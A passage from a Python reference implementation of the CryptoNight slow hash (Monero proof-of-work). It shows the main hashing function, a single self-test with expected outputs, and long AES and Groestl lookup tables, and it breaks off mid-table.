1, it'll work as it's supposed to after the 639 | # Apr 2018 hard fork, otherwise as it's supposed to before. 640 | def cn_slow_hash(inp,quiet=0,variant=0): 641 | tw = [0]*8 642 | if(not quiet): 643 | print("Keccac..") 644 | # Padding 645 | inp = inp + [0x01] + [0x00]*58 + [0x80] + [0x00]*64 646 | kec = keccak(inp) 647 | 648 | # Equivalent to VARIANT*INIT* in C. Stores the last 8 bytes after 649 | # keccak xor the current Nonce, which will later be xored in thoughout 650 | # the memhard loop (in the equivalent of VARIANT1_2). 651 | if variant: 652 | tw = [a^b for (a,b) in zip(kec[192:],inp[35:35+8])] 653 | 654 | if(not quiet): 655 | print("Expanding scratchpad..") 656 | pad = asplode(kec) 657 | if(not quiet): 658 | print("Memhard..") 659 | memhrd(pad, kec, variant, tw) 660 | if(not quiet): 661 | print("Imploding..") 662 | imp = implode(pad, kec) 663 | if(not quiet): 664 | print("Keccac again..") 665 | kec = keccak(imp) 666 | 667 | h = kec[0]&3 668 | if h==0: 669 | if(not quiet): 670 | print("Blake..") 671 | r = blake(kec) 672 | elif h==1: 673 | if(not quiet): 674 | print("Groestl..") 675 | r = groestl(kec) 676 | elif h==2: 677 | if(not quiet): 678 | print("Jh..") 679 | r = jh(kec) 680 | else: 681 | if(not quiet): 682 | print("Skein..") 683 | r = skein(kec) 684 | 685 | return r 686 | 687 | 688 | def slow_hash_glue_func(output_buffer, inp_data_intli_form, input_len): 689 | tmp_res = cn_slow_hash(inp_data_intli_form, quiet=1, variant=1) 690 | for k in range(len(output_buffer)): # regular copy 691 | output_buffer[k] = tmp_res[k] 692 | 693 | 694 | import time # only used in main 695 | 696 | # run_tests(). This runs a single case and checks it against one of two 697 | # precalculated results depending on "variant". This isn't particularly 698 | # sufficient for testing it, but it's at least a single runnable example 699 | 700 | def run_tests(): 701 | inp = [ 702 | 0x05, 0x05, 0x84, 0xe2, 0xfa, 0xcc, 0x05, 0xfe, 703 | 0x5c, 0x31, 0x96, 0xe9, 0x95, 0xae, 0x88, 0x31, 704 | 0x0b, 0xa8, 0x6e, 0xae, 0x4a, 0xb6, 0x25, 0xab, 705 | 0xd2, 0x6e, 0x19, 0x2f, 0x26, 0xf3, 0x2c, 0x7d, 706 | 707 | 0xcb, 0x6d, 0xb1, 0xd1, 0x08, 0xd7, 0x68, 0x5d, 708 | 0x00, 0x08, 0x57, 0xd6, 0x62, 0xea, 0x60, 0x02, 709 | 0xe5, 0x19, 0xa2, 0x76, 0xb9, 0xd6, 0x9a, 0xb9, 710 | 0xf0, 0xdf, 0x14, 0xc9, 0xf5, 0x86, 0xe1, 0x1a, 711 | 712 | 0xe4, 0x57, 0xb1, 0xb5, 0x74, 0x05, 0xaf, 0xbf, 713 | 0x9c, 0xc0, 0xcb, 0x06 ] 714 | 715 | st = time.time() 716 | variant = 1 # change to run other version 717 | 718 | r = cn_slow_hash(inp, False, variant) 719 | 720 | et = time.time() 721 | 722 | print(' '.join("%.2x"%(a) for a in r)) 723 | print("Total %ds (%f H/s)"%(et-st, 1./(et-st))) 724 | correct_result_old = [0x2a,0x26,0x47,0x75,0x7c,0xf6,0x20,0xa9,0x9a,0xf4,0xf8,0x3f,0xe5,0x9f,0x98,0x5d,0x3e,0x3b,0x8d,0x63,0xa7,0x5e,0x01,0x20,0x75,0x6f,0x8b,0xff,0xa4,0x8e,0x00,0x00] 725 | correct_result_new = [0xfc,0x24,0x23,0x8f,0x96,0x0c,0x14,0x72,0x73,0x86,0x29,0x5b,0xd0,0xfc,0xec,0xba,0xce,0x8f,0x2a,0xef,0x74,0xad,0x71,0x08,0x77,0x1c,0x7c,0x83,0x2b,0x0a,0x9f,0x00] 726 | 727 | if variant: 728 | print("Pass" if correct_result_new==r else "Fail") 729 | else: 730 | print("Pass" if correct_result_old==r else "Fail") 731 | 732 | # Constants ahoy! 733 | 734 | # Tboxes, Sbox (generated from TBox), Blake and Groestl constant lists 735 | # Other constants are sprinkled thought their respective functions, these 736 | # are here to somewhat improve readabillity. 737 | 738 | # There's nothing below them besides the if __name__.. to call main 739 | S1 = [0xa56363c6,0x847c7cf8,0x997777ee,0x8d7b7bf6,0x0df2f2ff,0xbd6b6bd6,0xb16f6fde,0x54c5c591,0x50303060,0x03010102,0xa96767ce,0x7d2b2b56,0x19fefee7,0x62d7d7b5,0xe6abab4d,0x9a7676ec,0x45caca8f,0x9d82821f,0x40c9c989,0x877d7dfa,0x15fafaef,0xeb5959b2,0xc947478e,0x0bf0f0fb,0xecadad41,0x67d4d4b3,0xfda2a25f,0xeaafaf45,0xbf9c9c23,0xf7a4a453,0x967272e4,0x5bc0c09b,0xc2b7b775,0x1cfdfde1,0xae93933d,0x6a26264c,0x5a36366c,0x413f3f7e,0x02f7f7f5,0x4fcccc83,0x5c343468,0xf4a5a551,0x34e5e5d1,0x08f1f1f9,0x937171e2,0x73d8d8ab,0x53313162,0x3f15152a,0x0c040408,0x52c7c795,0x65232346,0x5ec3c39d,0x28181830,0xa1969637,0x0f05050a,0xb59a9a2f,0x0907070e,0x36121224,0x9b80801b,0x3de2e2df,0x26ebebcd,0x6927274e,0xcdb2b27f,0x9f7575ea,0x1b090912,0x9e83831d,0x742c2c58,0x2e1a1a34,0x2d1b1b36,0xb26e6edc,0xee5a5ab4,0xfba0a05b,0xf65252a4,0x4d3b3b76,0x61d6d6b7,0xceb3b37d,0x7b292952,0x3ee3e3dd,0x712f2f5e,0x97848413,0xf55353a6,0x68d1d1b9,0x00000000,0x2cededc1,0x60202040,0x1ffcfce3,0xc8b1b179,0xed5b5bb6,0xbe6a6ad4,0x46cbcb8d,0xd9bebe67,0x4b393972,0xde4a4a94,0xd44c4c98,0xe85858b0,0x4acfcf85,0x6bd0d0bb,0x2aefefc5,0xe5aaaa4f,0x16fbfbed,0xc5434386,0xd74d4d9a,0x55333366,0x94858511,0xcf45458a,0x10f9f9e9,0x06020204,0x817f7ffe,0xf05050a0,0x443c3c78,0xba9f9f25,0xe3a8a84b,0xf35151a2,0xfea3a35d,0xc0404080,0x8a8f8f05,0xad92923f,0xbc9d9d21,0x48383870,0x04f5f5f1,0xdfbcbc63,0xc1b6b677,0x75dadaaf,0x63212142,0x30101020,0x1affffe5,0x0ef3f3fd,0x6dd2d2bf,0x4ccdcd81,0x140c0c18,0x35131326,0x2fececc3,0xe15f5fbe,0xa2979735,0xcc444488,0x3917172e,0x57c4c493,0xf2a7a755,0x827e7efc,0x473d3d7a,0xac6464c8,0xe75d5dba,0x2b191932,0x957373e6,0xa06060c0,0x98818119,0xd14f4f9e,0x7fdcdca3,0x66222244,0x7e2a2a54,0xab90903b,0x8388880b,0xca46468c,0x29eeeec7,0xd3b8b86b,0x3c141428,0x79dedea7,0xe25e5ebc,0x1d0b0b16,0x76dbdbad,0x3be0e0db,0x56323264,0x4e3a3a74,0x1e0a0a14,0xdb494992,0x0a06060c,0x6c242448,0xe45c5cb8,0x5dc2c29f,0x6ed3d3bd,0xefacac43,0xa66262c4,0xa8919139,0xa4959531,0x37e4e4d3,0x8b7979f2,0x32e7e7d5,0x43c8c88b,0x5937376e,0xb76d6dda,0x8c8d8d01,0x64d5d5b1,0xd24e4e9c,0xe0a9a949,0xb46c6cd8,0xfa5656ac,0x07f4f4f3,0x25eaeacf,0xaf6565ca,0x8e7a7af4,0xe9aeae47,0x18080810,0xd5baba6f,0x887878f0,0x6f25254a,0x722e2e5c,0x241c1c38,0xf1a6a657,0xc7b4b473,0x51c6c697,0x23e8e8cb,0x7cdddda1,0x9c7474e8,0x211f1f3e,0xdd4b4b96,0xdcbdbd61,0x868b8b0d,0x858a8a0f,0x907070e0,0x423e3e7c,0xc4b5b571,0xaa6666cc,0xd8484890,0x05030306,0x01f6f6f7,0x120e0e1c,0xa36161c2,0x5f35356a,0xf95757ae,0xd0b9b969,0x91868617,0x58c1c199,0x271d1d3a,0xb99e9e27,0x38e1e1d9,0x13f8f8eb,0xb398982b,0x33111122,0xbb6969d2,0x70d9d9a9,0x898e8e07,0xa7949433,0xb69b9b2d,0x221e1e3c,0x92878715,0x20e9e9c9,0x49cece87,0xff5555aa,0x78282850,0x7adfdfa5,0x8f8c8c03,0xf8a1a159,0x80898909,0x170d0d1a,0xdabfbf65,0x31e6e6d7,0xc6424284,0xb86868d0,0xc3414182,0xb0999929,0x772d2d5a,0x110f0f1e,0xcbb0b07b,0xfc5454a8,0xd6bbbb6d,0x3a16162c] 740 | S2 = [0x6363c6a5,0x7c7cf884,0x7777ee99,0x7b7bf68d,0xf2f2ff0d,0x6b6bd6bd,0x6f6fdeb1,0xc5c59154,0x30306050,0x01010203,0x6767cea9,0x2b2b567d,0xfefee719,0xd7d7b562,0xabab4de6,0x7676ec9a,0xcaca8f45,0x82821f9d,0xc9c98940,0x7d7dfa87,0xfafaef15,0x5959b2eb,0x47478ec9,0xf0f0fb0b,0xadad41ec,0xd4d4b367,0xa2a25ffd,0xafaf45ea,0x9c9c23bf,0xa4a453f7,0x7272e496,0xc0c09b5b,0xb7b775c2,0xfdfde11c,0x93933dae,0x26264c6a,0x36366c5a,0x3f3f7e41,0xf7f7f502,0xcccc834f,0x3434685c,0xa5a551f4,0xe5e5d134,0xf1f1f908,0x7171e293,0xd8d8ab73,0x31316253,0x15152a3f,0x0404080c,0xc7c79552,0x23234665,0xc3c39d5e,0x18183028,0x969637a1,0x05050a0f,0x9a9a2fb5,0x07070e09,0x12122436,0x80801b9b,0xe2e2df3d,0xebebcd26,0x27274e69,0xb2b27fcd,0x7575ea9f,0x0909121b,0x83831d9e,0x2c2c5874,0x1a1a342e,0x1b1b362d,0x6e6edcb2,0x5a5ab4ee,0xa0a05bfb,0x5252a4f6,0x3b3b764d,0xd6d6b761,0xb3b37dce,0x2929527b,0xe3e3dd3e,0x2f2f5e71,0x84841397,0x5353a6f5,0xd1d1b968,0x00000000,0xededc12c,0x20204060,0xfcfce31f,0xb1b179c8,0x5b5bb6ed,0x6a6ad4be,0xcbcb8d46,0xbebe67d9,0x3939724b,0x4a4a94de,0x4c4c98d4,0x5858b0e8,0xcfcf854a,0xd0d0bb6b,0xefefc52a,0xaaaa4fe5,0xfbfbed16,0x434386c5,0x4d4d9ad7,0x33336655,0x85851194,0x45458acf,0xf9f9e910,0x02020406,0x7f7ffe81,0x5050a0f0,0x3c3c7844,0x9f9f25ba,0xa8a84be3,0x5151a2f3,0xa3a35dfe,0x404080c0,0x8f8f058a,0x92923fad,0x9d9d21bc,0x38387048,0xf5f5f104,0xbcbc63df,0xb6b677c1,0xdadaaf75,0x21214263,0x10102030,0xffffe51a,0xf3f3fd0e,0xd2d2bf6d,0xcdcd814c,0x0c0c1814,0x13132635,0xececc32f,0x5f5fbee1,0x979735a2,0x444488cc,0x17172e39,0xc4c49357,0xa7a755f2,0x7e7efc82,0x3d3d7a47,0x6464c8ac,0x5d5dbae7,0x1919322b,0x7373e695,0x6060c0a0,0x81811998,0x4f4f9ed1,0xdcdca37f,0x22224466,0x2a2a547e,0x90903bab,0x88880b83,0x46468cca,0xeeeec729,0xb8b86bd3,0x1414283c,0xdedea779,0x5e5ebce2,0x0b0b161d,0xdbdbad76,0xe0e0db3b,0x32326456,0x3a3a744e,0x0a0a141e,0x494992db,0x06060c0a,0x2424486c,0x5c5cb8e4,0xc2c29f5d,0xd3d3bd6e,0xacac43ef,0x6262c4a6,0x919139a8,0x959531a4,0xe4e4d337,0x7979f28b,0xe7e7d532,0xc8c88b43,0x37376e59,0x6d6ddab7,0x8d8d018c,0xd5d5b164,0x4e4e9cd2,0xa9a949e0,0x6c6cd8b4,0x5656acfa,0xf4f4f307,0xeaeacf25,0x6565caaf,0x7a7af48e,0xaeae47e9,0x08081018,0xbaba6fd5,0x7878f088,0x25254a6f,0x2e2e5c72,0x1c1c3824,0xa6a657f1,0xb4b473c7,0xc6c69751,0xe8e8cb23,0xdddda17c,0x7474e89c,0x1f1f3e21,0x4b4b96dd,0xbdbd61dc,0x8b8b0d86,0x8a8a0f85,0x7070e090,0x3e3e7c42,0xb5b571c4,0x6666ccaa,0x484890d8,0x03030605,0xf6f6f701,0x0e0e1c12,0x6161c2a3,0x35356a5f,0x5757aef9,0xb9b969d0,0x86861791,0xc1c19958,0x1d1d3a27,0x9e9e27b9,0xe1e1d938,0xf8f8eb13,0x98982bb3,0x11112233,0x6969d2bb,0xd9d9a970,0x8e8e0789,0x949433a7,0x9b9b2db6,0x1e1e3c22,0x87871592,0xe9e9c920,0xcece8749,0x5555aaff,0x28285078,0xdfdfa57a,0x8c8c038f,0xa1a159f8,0x89890980,0x0d0d1a17,0xbfbf65da,0xe6e6d731,0x424284c6,0x6868d0b8,0x414182c3,0x999929b0,0x2d2d5a77,0x0f0f1e11,0xb0b07bcb,0x5454a8fc,0xbbbb6dd6,0x16162c3a] 741 | S3 = [0x63c6a563,0x7cf8847c,0x77ee9977,0x7bf68d7b,0xf2ff0df2,0x6bd6bd6b,0x6fdeb16f,0xc59154c5,0x30605030,0x01020301,0x67cea967,0x2b567d2b,0xfee719fe,0xd7b562d7,0xab4de6ab,0x76ec9a76,0xca8f45ca,0x821f9d82,0xc98940c9,0x7dfa877d,0xfaef15fa,0x59b2eb59,0x478ec947,0xf0fb0bf0,0xad41ecad,0xd4b367d4,0xa25ffda2,0xaf45eaaf,0x9c23bf9c,0xa453f7a4,0x72e49672,0xc09b5bc0,0xb775c2b7,0xfde11cfd,0x933dae93,0x264c6a26,0x366c5a36,0x3f7e413f,0xf7f502f7,0xcc834fcc,0x34685c34,0xa551f4a5,0xe5d134e5,0xf1f908f1,0x71e29371,0xd8ab73d8,0x31625331,0x152a3f15,0x04080c04,0xc79552c7,0x23466523,0xc39d5ec3,0x18302818,0x9637a196,0x050a0f05,0x9a2fb59a,0x070e0907,0x12243612,0x801b9b80,0xe2df3de2,0xebcd26eb,0x274e6927,0xb27fcdb2,0x75ea9f75,0x09121b09,0x831d9e83,0x2c58742c,0x1a342e1a,0x1b362d1b,0x6edcb26e,0x5ab4ee5a,0xa05bfba0,0x52a4f652,0x3b764d3b,0xd6b761d6,0xb37dceb3,0x29527b29,0xe3dd3ee3,0x2f5e712f,0x84139784,0x53a6f553,0xd1b968d1,0x00000000,0xedc12ced,0x20406020,0xfce31ffc,0xb179c8b1,0x5bb6ed5b,0x6ad4be6a,0xcb8d46cb,0xbe67d9be,0x39724b39,0x4a94de4a,0x4c98d44c,0x58b0e858,0xcf854acf,0xd0bb6bd0,0xefc52aef,0xaa4fe5aa,0xfbed16fb,0x4386c543,0x4d9ad74d,0x33665533,0x85119485,0x458acf45,0xf9e910f9,0x02040602,0x7ffe817f,0x50a0f050,0x3c78443c,0x9f25ba9f,0xa84be3a8,0x51a2f351,0xa35dfea3,0x4080c040,0x8f058a8f,0x923fad92,0x9d21bc9d,0x38704838,0xf5f104f5,0xbc63dfbc,0xb677c1b6,0xdaaf75da,0x21426321,0x10203010,0xffe51aff,0xf3fd0ef3,0xd2bf6dd2,0xcd814ccd,0x0c18140c,0x13263513,0xecc32fec,0x5fbee15f,0x9735a297,0x4488cc44,0x172e3917,0xc49357c4,0xa755f2a7,0x7efc827e,0x3d7a473d,0x64c8ac64,0x5dbae75d,0x19322b19,0x73e69573,0x60c0a060,0x81199881,0x4f9ed14f,0xdca37fdc,0x22446622,0x2a547e2a,0x903bab90,0x880b8388,0x468cca46,0xeec729ee,0xb86bd3b8,0x14283c14,0xdea779de,0x5ebce25e,0x0b161d0b,0xdbad76db,0xe0db3be0,0x32645632,0x3a744e3a,0x0a141e0a,0x4992db49,0x060c0a06,0x24486c24,0x5cb8e45c,0xc29f5dc2,0xd3bd6ed3,0xac43efac,0x62c4a662,0x9139a891,0x9531a495,0xe4d337e4,0x79f28b79,0xe7d532e7,0xc88b43c8,0x376e5937,0x6ddab76d,0x8d018c8d,0xd5b164d5,0x4e9cd24e,0xa949e0a9,0x6cd8b46c,0x56acfa56,0xf4f307f4,0xeacf25ea,0x65caaf65,0x7af48e7a,0xae47e9ae,0x08101808,0xba6fd5ba,0x78f08878,0x254a6f25,0x2e5c722e,0x1c38241c,0xa657f1a6,0xb473c7b4,0xc69751c6,0xe8cb23e8,0xdda17cdd,0x74e89c74,0x1f3e211f,0x4b96dd4b,0xbd61dcbd,0x8b0d868b,0x8a0f858a,0x70e09070,0x3e7c423e,0xb571c4b5,0x66ccaa66,0x4890d848,0x03060503,0xf6f701f6,0x0e1c120e,0x61c2a361,0x356a5f35,0x57aef957,0xb969d0b9,0x86179186,0xc19958c1,0x1d3a271d,0x9e27b99e,0xe1d938e1,0xf8eb13f8,0x982bb398,0x11223311,0x69d2bb69,0xd9a970d9,0x8e07898e,0x9433a794,0x9b2db69b,0x1e3c221e,0x87159287,0xe9c920e9,0xce8749ce,0x55aaff55,0x28507828,0xdfa57adf,0x8c038f8c,0xa159f8a1,0x89098089,0x0d1a170d,0xbf65dabf,0xe6d731e6,0x4284c642,0x68d0b868,0x4182c341,0x9929b099,0x2d5a772d,0x0f1e110f,0xb07bcbb0,0x54a8fc54,0xbb6dd6bb,0x162c3a16] 742 | S4 = [0xc6a56363,0xf8847c7c,0xee997777,0xf68d7b7b,0xff0df2f2,0xd6bd6b6b,0xdeb16f6f,0x9154c5c5,0x60503030,0x02030101,0xcea96767,0x567d2b2b,0xe719fefe,0xb562d7d7,0x4de6abab,0xec9a7676,0x8f45caca,0x1f9d8282,0x8940c9c9,0xfa877d7d,0xef15fafa,0xb2eb5959,0x8ec94747,0xfb0bf0f0,0x41ecadad,0xb367d4d4,0x5ffda2a2,0x45eaafaf,0x23bf9c9c,0x53f7a4a4,0xe4967272,0x9b5bc0c0,0x75c2b7b7,0xe11cfdfd,0x3dae9393,0x4c6a2626,0x6c5a3636,0x7e413f3f,0xf502f7f7,0x834fcccc,0x685c3434,0x51f4a5a5,0xd134e5e5,0xf908f1f1,0xe2937171,0xab73d8d8,0x62533131,0x2a3f1515,0x080c0404,0x9552c7c7,0x46652323,0x9d5ec3c3,0x30281818,0x37a19696,0x0a0f0505,0x2fb59a9a,0x0e090707,0x24361212,0x1b9b8080,0xdf3de2e2,0xcd26ebeb,0x4e692727,0x7fcdb2b2,0xea9f7575,0x121b0909,0x1d9e8383,0x58742c2c,0x342e1a1a,0x362d1b1b,0xdcb26e6e,0xb4ee5a5a,0x5bfba0a0,0xa4f65252,0x764d3b3b,0xb761d6d6,0x7dceb3b3,0x527b2929,0xdd3ee3e3,0x5e712f2f,0x13978484,0xa6f55353,0xb968d1d1,0x00000000,0xc12ceded,0x40602020,0xe31ffcfc,0x79c8b1b1,0xb6ed5b5b,0xd4be6a6a,0x8d46cbcb,0x67d9bebe,0x724b3939,0x94de4a4a,0x98d44c4c,0xb0e85858,0x854acfcf,0xbb6bd0d0,0xc52aefef,0x4fe5aaaa,0xed16fbfb,0x86c54343,0x9ad74d4d,0x66553333,0x11948585,0x8acf4545,0xe910f9f9,0x04060202,0xfe817f7f,0xa0f05050,0x78443c3c,0x25ba9f9f,0x4be3a8a8,0xa2f35151,0x5dfea3a3,0x80c04040,0x058a8f8f,0x3fad9292,0x21bc9d9d,0x70483838,0xf104f5f5,0x63dfbcbc,0x77c1b6b6,0xaf75dada,0x42632121,0x20301010,0xe51affff,0xfd0ef3f3,0xbf6dd2d2,0x814ccdcd,0x18140c0c,0x26351313,0xc32fecec,0xbee15f5f,0x35a29797,0x88cc4444,0x2e391717,0x9357c4c4,0x55f2a7a7,0xfc827e7e,0x7a473d3d,0xc8ac6464,0xbae75d5d,0x322b1919,0xe6957373,0xc0a06060,0x19988181,0x9ed14f4f,0xa37fdcdc,0x44662222,0x547e2a2a,0x3bab9090,0x0b838888,0x8cca4646,0xc729eeee,0x6bd3b8b8,0x283c1414,0xa779dede,0xbce25e5e,0x161d0b0b,0xad76dbdb,0xdb3be0e0,0x64563232,0x744e3a3a,0x141e0a0a,0x92db4949,0x0c0a0606,0x486c2424,0xb8e45c5c,0x9f5dc2c2,0xbd6ed3d3,0x43efacac,0xc4a66262,0x39a89191,0x31a49595,0xd337e4e4,0xf28b7979,0xd532e7e7,0x8b43c8c8,0x6e593737,0xdab76d6d,0x018c8d8d,0xb164d5d5,0x9cd24e4e,0x49e0a9a9,0xd8b46c6c,0xacfa5656,0xf307f4f4,0xcf25eaea,0xcaaf6565,0xf48e7a7a,0x47e9aeae,0x10180808,0x6fd5baba,0xf0887878,0x4a6f2525,0x5c722e2e,0x38241c1c,0x57f1a6a6,0x73c7b4b4,0x9751c6c6,0xcb23e8e8,0xa17cdddd,0xe89c7474,0x3e211f1f,0x96dd4b4b,0x61dcbdbd,0x0d868b8b,0x0f858a8a,0xe0907070,0x7c423e3e,0x71c4b5b5,0xccaa6666,0x90d84848,0x06050303,0xf701f6f6,0x1c120e0e,0xc2a36161,0x6a5f3535,0xaef95757,0x69d0b9b9,0x17918686,0x9958c1c1,0x3a271d1d,0x27b99e9e,0xd938e1e1,0xeb13f8f8,0x2bb39898,0x22331111,0xd2bb6969,0xa970d9d9,0x07898e8e,0x33a79494,0x2db69b9b,0x3c221e1e,0x15928787,0xc920e9e9,0x8749cece,0xaaff5555,0x50782828,0xa57adfdf,0x038f8c8c,0x59f8a1a1,0x09808989,0x1a170d0d,0x65dabfbf,0xd731e6e6,0x84c64242,0xd0b86868,0x82c34141,0x29b09999,0x5a772d2d,0x1e110f0f,0x7bcbb0b0,0xa8fc5454,0x6dd6bbbb,0x2c3a1616] 743 | SBox = [a&255 for a in S3] 744 | 745 | groestlT = [ 746 | 0xa5f432c6,0x84976ff8,0x99b05eee,0x8d8c7af6,0x0d17e8ff,0xbddc0ad6,0xb1c816de,0x54fc6d91,0x50f09060,0x03050702,0xa9e02ece,0x7d87d156,0x192bcce7,0x62a613b5,0xe6317c4d,0x9ab559ec,0x45cf408f,0x9dbca31f,0x40c04989,0x879268fa,0x153fd0ef,0xeb2694b2,0xc940ce8e,0x0b1de6fb,0xec2f6e41,0x67a91ab3,0xfd1c435f,0xea256045,0xbfdaf923,0xf7025153,0x96a145e4,0x5bed769b,0xc25d2875,0x1c24c5e1,0xaee9d43d,0x6abef24c,0x5aee826c,0x41c3bd7e,0x0206f3f5,0x4fd15283,0x5ce48c68,0xf4075651,0x345c8dd1,0x0818e1f9,0x93ae4ce2,0x73953eab,0x53f59762,0x3f416b2a,0x0c141c08,0x52f66395,0x65afe946,0x5ee27f9d,0x28784830,0xa1f8cf37,0x0f111b0a,0xb5c4eb2f,0x091b150e,0x365a7e24,0x9bb6ad1b,0x3d4798df,0x266aa7cd,0x69bbf54e,0xcd4c337f,0x9fba50ea,0x1b2d3f12,0x9eb9a41d,0x749cc458,0x2e724634,0x2d774136,0xb2cd11dc,0xee299db4,0xfb164d5b,0xf601a5a4,0x4dd7a176,0x61a314b7,0xce49347d,0x7b8ddf52,0x3e429fdd,0x7193cd5e,0x97a2b113,0xf504a2a6,0x68b801b9,0x00000000,0x2c74b5c1,0x60a0e040,0x1f21c2e3,0xc8433a79,0xed2c9ab6,0xbed90dd4,0x46ca478d,0xd9701767,0x4bddaf72,0xde79ed94,0xd467ff98,0xe82393b0,0x4ade5b85,0x6bbd06bb,0x2a7ebbc5,0xe5347b4f,0x163ad7ed,0xc554d286,0xd762f89a,0x55ff9966,0x94a7b611,0xcf4ac08a,0x1030d9e9,0x060a0e04,0x819866fe,0xf00baba0,0x44ccb478,0xbad5f025,0xe33e754b,0xf30eaca2,0xfe19445d,0xc05bdb80,0x8a858005,0xadecd33f,0xbcdffe21,0x48d8a870,0x040cfdf1,0xdf7a1963,0xc1582f77,0x759f30af,0x63a5e742,0x30507020,0x1a2ecbe5,0x0e12effd,0x6db708bf,0x4cd45581,0x143c2418,0x355f7926,0x2f71b2c3,0xe13886be,0xa2fdc835,0xcc4fc788,0x394b652e,0x57f96a93,0xf20d5855,0x829d61fc,0x47c9b37a,0xacef27c8,0xe73288ba,0x2b7d4f32,0x95a442e6,0xa0fb3bc0,0x98b3aa19,0xd168f69e,0x7f8122a3,0x66aaee44,0x7e82d654,0xabe6dd3b,0x839e950b,0xca45c98c,0x297bbcc7,0xd36e056b,0x3c446c28,0x798b2ca7,0xe23d81bc,0x1d273116,0x769a37ad,0x3b4d96db,0x56fa9e64,0x4ed2a674,0x1e223614,0xdb76e492,0x0a1e120c,0x6cb4fc48,0xe4378fb8,0x5de7789f,0x6eb20fbd,0xef2a6943,0xa6f135c4,0xa8e3da39,0xa4f7c631,0x37598ad3,0x8b8674f2,0x325683d5,0x43c54e8b,0x59eb856e,0xb7c218da,0x8c8f8e01,0x64ac1db1,0xd26df19c,0xe03b7249,0xb4c71fd8,0xfa15b9ac,0x0709faf3,0x256fa0cf,0xafea20ca,0x8e897df4,0xe9206747,0x18283810,0xd5640b6f,0x888373f0,0x6fb1fb4a,0x7296ca5c,0x246c5438,0xf1085f57,0xc7522173,0x51f36497,0x2365aecb,0x7c8425a1,0x9cbf57e8,0x21635d3e,0xdd7cea96,0xdc7f1e61,0x86919c0d,0x85949b0f,0x90ab4be0,0x42c6ba7c,0xc4572671,0xaae529cc,0xd873e390,0x050f0906,0x0103f4f7,0x12362a1c,0xa3fe3cc2,0x5fe18b6a,0xf910beae,0xd06b0269,0x91a8bf17,0x58e87199,0x2769533a,0xb9d0f727,0x384891d9,0x1335deeb,0xb3cee52b,0x33557722,0xbbd604d2,0x709039a9,0x89808707,0xa7f2c133,0xb6c1ec2d,0x22665a3c,0x92adb815,0x2060a9c9,0x49db5c87,0xff1ab0aa,0x7888d850,0x7a8e2ba5,0x8f8a8903,0xf8134a59,0x809b9209,0x1739231a,0xda751065,0x315384d7,0xc651d584,0xb8d303d0,0xc35edc82,0xb0cbe229,0x7799c35a,0x11332d1e,0xcb463d7b,0xfc1fb7a8,0xd6610c6d,0x3a4e622c, 747 | 0xf432c6c6,0x976ff8f8,0xb05eeeee,0x8c7af6f6,0x17e8ffff,0xdc0ad6d6,0xc816dede,0xfc6d9191,0xf0906060,0x05070202,0xe02ecece,0x87d15656,0x2bcce7e7,0xa613b5b5,0x317c4d4d,0xb559ecec,0xcf408f8f,0xbca31f1f,0xc0498989,0x9268fafa,0x3fd0efef,0x2694b2b2,0x40ce8e8e,0x1de6fbfb,0x2f6e4141,0xa91ab3b3,0x1c435f5f,0x25604545,0xdaf92323,0x02515353,0xa145e4e4,0xed769b9b,0x5d287575,0x24c5e1e1,0xe9d43d3d,0xbef24c4c,0xee826c6c,0xc3bd7e7e,0x06f3f5f5,0xd1528383,0xe48c6868,0x07565151,0x5c8dd1d1,0x18e1f9f9,0xae4ce2e2,0x953eabab,0xf5976262,0x416b2a2a,0x141c0808,0xf6639595,0xafe94646,0xe27f9d9d,0x78483030,0xf8cf3737,0x111b0a0a,0xc4eb2f2f,0x1b150e0e,0x5a7e2424,0xb6ad1b1b,0x4798dfdf,0x6aa7cdcd,0xbbf54e4e,0x4c337f7f,0xba50eaea,0x2d3f1212,0xb9a41d1d,0x9cc45858,0x72463434,0x77413636,0xcd11dcdc,0x299db4b4,0x164d5b5b,0x01a5a4a4,0xd7a17676,0xa314b7b7,0x49347d7d,0x8ddf5252,0x429fdddd,0x93cd5e5e,0xa2b11313,0x04a2a6a6,0xb801b9b9,0x00000000,0x74b5c1c1,0xa0e04040,0x21c2e3e3,0x433a7979,0x2c9ab6b6,0xd90dd4d4,0xca478d8d,0x70176767,0xddaf7272,0x79ed9494,0x67ff9898,0x2393b0b0,0xde5b8585,0xbd06bbbb,0x7ebbc5c5,0x347b4f4f,0x3ad7eded,0x54d28686,0x62f89a9a,0xff996666,0xa7b61111,0x4ac08a8a,0x30d9e9e9,0x0a0e0404,0x9866fefe,0x0baba0a0,0xccb47878,0xd5f02525,0x3e754b4b,0x0eaca2a2,0x19445d5d,0x5bdb8080,0x85800505,0xecd33f3f,0xdffe2121,0xd8a87070,0x0cfdf1f1,0x7a196363,0x582f7777,0x9f30afaf,0xa5e74242,0x50702020,0x2ecbe5e5,0x12effdfd,0xb708bfbf,0xd4558181,0x3c241818,0x5f792626,0x71b2c3c3,0x3886bebe,0xfdc83535,0x4fc78888,0x4b652e2e,0xf96a9393,0x0d585555,0x9d61fcfc,0xc9b37a7a,0xef27c8c8,0x3288baba,0x7d4f3232,0xa442e6e6,0xfb3bc0c0,0xb3aa1919,0x68f69e9e,0x8122a3a3,0xaaee4444,0x82d65454,0xe6dd3b3b,0x9e950b0b,0x45c98c8c,0x7bbcc7c7,0x6e056b6b,0x446c2828,0x8b2ca7a7,0x3d81bcbc,0x27311616,0x9a37adad,0x4d96dbdb,0xfa9e6464,0xd2a67474,0x22361414,0x76e49292,0x1e120c0c,0xb4fc4848,0x378fb8b8,0xe7789f9f,0xb20fbdbd,0x2a694343,0xf135c4c4,0xe3da3939,0xf7c63131,0x598ad3d3,0x8674f2f2,0x5683d5d5,0xc54e8b8b,0xeb856e6e,0xc218dada,0x8f8e0101,0xac1db1b1,0x6df19c9c,0x3b724949,0xc71fd8d8,0x15b9acac,0x09faf3f3,0x6fa0cfcf,0xea20caca,0x897df4f4,0x20674747,0x28381010,0x640b6f6f,0x8373f0f0,0xb1fb4a4a,0x96ca5c5c,0x6c543838,0x085f5757,0x52217373,0xf3649797,0x65aecbcb,0x8425a1a1,0xbf57e8e8,0x635d3e3e,0x7cea9696,0x7f1e6161,0x919c0d0d,0x949b0f0f,0xab4be0e0,0xc6ba7c7c,0x57267171,0xe529cccc,0x73e39090,0x0f090606,0x03f4f7f7,0x362a1c1c,0xfe3cc2c2,0xe18b6a6a,0x10beaeae,0x6b026969,0xa8bf1717,0xe8719999,0x69533a3a,0xd0f72727,0x4891d9d9,0x35deebeb,0xcee52b2b,0x55772222,0xd604d2d2,0x9039a9a9,0x80870707,0xf2c13333,0xc1ec2d2d,0x665a3c3c,0xadb81515,0x60a9c